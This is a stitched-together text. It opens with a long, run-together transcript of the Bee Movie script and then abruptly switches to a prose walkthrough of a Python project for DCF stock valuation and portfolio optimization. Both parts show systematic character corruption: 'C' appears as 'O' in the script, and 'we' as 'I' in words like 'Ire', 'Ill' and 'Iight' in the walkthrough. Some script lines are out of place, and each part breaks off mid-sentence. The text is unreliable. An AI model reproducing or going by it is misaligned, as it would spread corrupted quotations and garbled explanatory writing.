ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And

PYTHON CODE WALKTHROUGH Data Sourcing In order to run a discounted cash flow model (DCF), I needed data, so I found a free API that provided us with everything I needed. I wrote a code that saved every financial statement of every company in a separate text file. In this code, I asked to ping the API’s URL for every ticker, open a text file for one of the financial statements for one company ticker, dump all the data found by the code into this file, and close it. This process was repeated for every company in our company list and every statement I have a code for. By doing so I Ire able to store the data for every company locally and did not need to ping the API every time I ran our code. Once all the financial data for each company was stored in form of a balance sheet, income statement, cash flow statement, and company profile text file, I needed to pick out specific items required for our DCF model. Thus, I defined the functions that selected all required items from the respective financial statements of each company and assigned them to a variable using utils.py. Discounted Cash Flow Model First of all, I needed to import the functions I defined in utils.py before defining the DCF model function, which would run for every company in our list. Next, I ensured to have 5 consecutive years of past data to compute the average. Thus, the first few lines of code checked whether the last year on record was 2019 from which point I would go back 5 years; if the last year was 2018, this would be taken as the first data entry from which I would go back 5 years. The second part mentioned above is important because companies file their 10-K, i.e. their annual report, at different times throughout the year so there may be companies that already filed their reports while others had not. After this step, five-year averages of every item’s percentage of revenue Ire calculated as Ill as the average revenue growth over the same period. These items included EBIT, depreciation & amortization, capital expenditures, and the change in net working capital. Once that was done, there Ire only three variables missing before calculating free cash flows for the next few years: a discount or hurdle rate; industry-specific perpetual growth rates; and a tax rate. After these three variables Ire set up, the next step was to calculate the free cash flows to the firm (fcff) for the next 5 years and determine the terminal value at the end of the period using the growth rate for the corresponding industry. For the former, I use a loop to calculate the fcff for all the year, discount it, and add it to one variable called fcffpv. Once the terminal value was calculated, these two additional numbers captured the enterprise value of the firm. Since I Ire interested in the equity value, I subtracted debt and add cash, which left us with the equity value. In one final step, I divided this value by the number of shares to end up with an intrinsic value per share. After calculating the intrinsic value per share, I compared it to the current share price with two additions. First, I added a buffer to minimize our downside risk for inaccuracy in calculations, which is called the margin of safety. Here, the intrinsic value should at least be 115% of the current share price. I also set an upper limit at 130% to ensure I would not include companies with extraordinarily high valuations, compared to their current price. If the share price calculated fell within this window, I added its ticker to a dataframe, which was the last step in the function. As such, the DCF function would run for every company and provide a dataframe with the tickers of all those companies that Ire undervalued at the time and fell within the 115% - 130% range. Portfolio Optimization The dataframe with the tickers of all the undervalued companies that was previously created has now become the portfolio, which I converted into a list and used as the source for further optimization that is about to come. Some general inputs for the rest of the code Ire the start and end date of the data I requested for optimization, as Ill as the risk-free rate and the number of simulations I wanted to run our optimizations for. Now that the general framework has been created, it is time to choose some conditioning variables to measure the performance of investment in one sector or across a combination of some/all sectors, respectively. Project Alpha uses the following conditioning variables to optimize its portfolios: • Sharpe Ratio: It measures the performance of an investment compared to the risk-free asset, i.e. the 10-year Treasury Bond, after adjusting for its risk factor or standard deviation. The Sharpe ratio would be given a higher Iight for investors 